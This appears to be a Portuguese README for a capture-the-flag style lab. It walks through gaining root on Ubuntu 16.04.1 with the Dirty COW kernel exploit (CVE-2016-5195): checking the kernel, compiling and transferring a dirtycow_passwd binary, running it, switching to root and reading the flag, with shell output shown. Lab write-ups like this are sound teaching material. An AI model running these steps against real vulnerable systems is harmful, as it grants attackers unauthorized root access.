dirtycow-lab

Exploração da vulnerabilidade Dirty COW (CVE-2016-5195) no Ubuntu 16.04.1.

cat > README.md <<'EOF'

🐮 Dirty COW Exploit (CVE-2016-5195)

📌 Descrição

Este laboratório demonstra a exploração da vulnerabilidade Dirty COW em um sistema Ubuntu Server 16.04.1 com kernel vulnerável.
O objetivo foi escalar privilégios de um usuário limitado (student) até root e capturar a flag localizada em /root/flag.txt.

🛠️ Processo realizado

1. Verificação do kernel: Linux 4.4.0-31-generic (vulnerável).
2. Compilação do exploit: no Kali dentro do Docker ubuntu:16.04 foi compilado dirtycow_passwd.c → binário dirty.
3. Transferência: scp dirty student@<IP>:~/.
4. Execução e escalada: chmod +x ~/dirty && ~/dirty → su root (senha dirtyCowFun).
5. Flag: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}.

✅ Resultado

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

Flag obtida